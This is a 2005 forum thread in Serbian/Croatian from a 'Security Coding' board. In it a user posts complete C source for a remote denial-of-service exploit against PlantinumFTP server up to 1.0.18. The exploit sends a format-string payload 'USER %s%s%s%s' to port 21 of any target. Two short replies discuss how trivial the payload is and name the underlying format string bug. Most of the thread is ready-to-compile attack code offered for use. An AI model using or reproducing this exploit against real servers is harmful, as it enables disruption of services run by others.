Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.

PlantinumFTP server <= 1.0.18 Remote DOS exploit

[es] :: Security Coding :: PlantinumFTP server <= 1.0.18 Remote DOS exploit

[ Pregleda: 3463 | Odgovora: 2 ] > FB > Twit

Postavi temu Odgovori

Autor

Pretraga teme: Traži
Markiranje Štampanje RSS

Exoduks

Član broj: 42381
Poruke: 16
*.cmu.carnet.hr.



Profil

icon PlantinumFTP server <= 1.0.18 Remote DOS exploit13.03.2005. u 20:59 - pre 232 meseci
Evo jedna exploit od mene za PlantinumFTP server.


Exploiting PlantinumFTP server !


PlantinumFTP server crashed !




Exploit: http://www.hackgen.org/exploits/pFTP_dos.c

Code:

/*
 * PlantinumFTP server <= 1.0.18 Remote DOS exploit
 * -------------------------------------------------
 * PlantinumFTP server exploit for Remote Denial of Service bug
 * in PlantinumFTP founded by ports.
 *
 * Coded by Exoduks - exoduks[at]gmail.com
 * HackGen Team - www.hackgen.org
 *
 * Compile: gcc -o pFTP_dos pFTP_dos.c
 *
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define PORT 21

int main(int argc, char **argv)
{
    char buffer[50];
    char *host_ip;
    int mysock;
    struct sockaddr_in name;
    struct hostent *myhost;

    printf("\n PlantinumFTP server <= 1.0.18 Remote DOS exploit\n");
    printf(" -------------------------------------------------\n");
    printf(" Coded by Exoduks - exoduks[at]gmail.com\n");
    printf(" HackGen Team - www.hackgen.org\n");
    printf(" -------------------------------------------------\n");

    printf(" [+] Creating socket !\n");
    mysock = socket(PF_INET, SOCK_STREAM, 0);
    if (mysock == -1) {
        printf("[-] Socket error !\n");
        return 1;
    }

    host_ip = argv[1];

    if (host_ip == NULL) {
        printf(" [-] Host error ! - Usage: %s <ip/host> !\n\n", argv[0]);
        return 1;
    }

    myhost = gethostbyname(host_ip);

    name.sin_family = AF_INET;
    name.sin_addr = *((struct in_addr*) myhost->h_addr);
    name.sin_port = htons(PORT);

    printf(" [+] Connecting to target on port %d!\n", PORT);
    if (connect (mysock, (struct sockaddr*)&name, sizeof(struct sockaddr_in)) == -1) {
        printf(" [-] Connection error !\n");
        return 2;
    }

    printf(" [+] Sending exploit !\n");
    sprintf(buffer, "%s", "USER %s%s%s%s\r\n");
    write(mysock, buffer, strlen(buffer));
    printf(" [+] Exploit sent !\n\n");

    close(mysock);

    return 0;
}
 
Odgovor na temu

EArthquake

Član broj: 20684
Poruke: 884
195.252.85.*



+67 Profil

icon Re: PlantinumFTP server <= 1.0.18 Remote DOS exploit16.03.2005. u 12:56 - pre 232 meseci
lepo lepo
samo kako te nije mrzelo da pises ceo exploit
samo da bi posalo %s%s%s%s
kao username

nadam se da sam dobro skontao u cemu je rec
jer sam sad u internet kafeu
 
Odgovor na temu

Exoduks

Član broj: 42381
Poruke: 16
*.net.t-com.hr.



Profil

icon Re: PlantinumFTP server <= 1.0.18 Remote DOS exploit17.03.2005. u 13:19 - pre 232 meseci
To je format string bug, u jednok activeX kontroli koju server koristi, a ovo kaj kazes vecinu dos exploita mozes i rucno exploitati tak da posljes neki veci string...
 
Odgovor na temu

[es] :: Security Coding :: PlantinumFTP server <= 1.0.18 Remote DOS exploit

[ Pregleda: 3463 | Odgovora: 2 ] > FB > Twit

Postavi temu Odgovori

Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.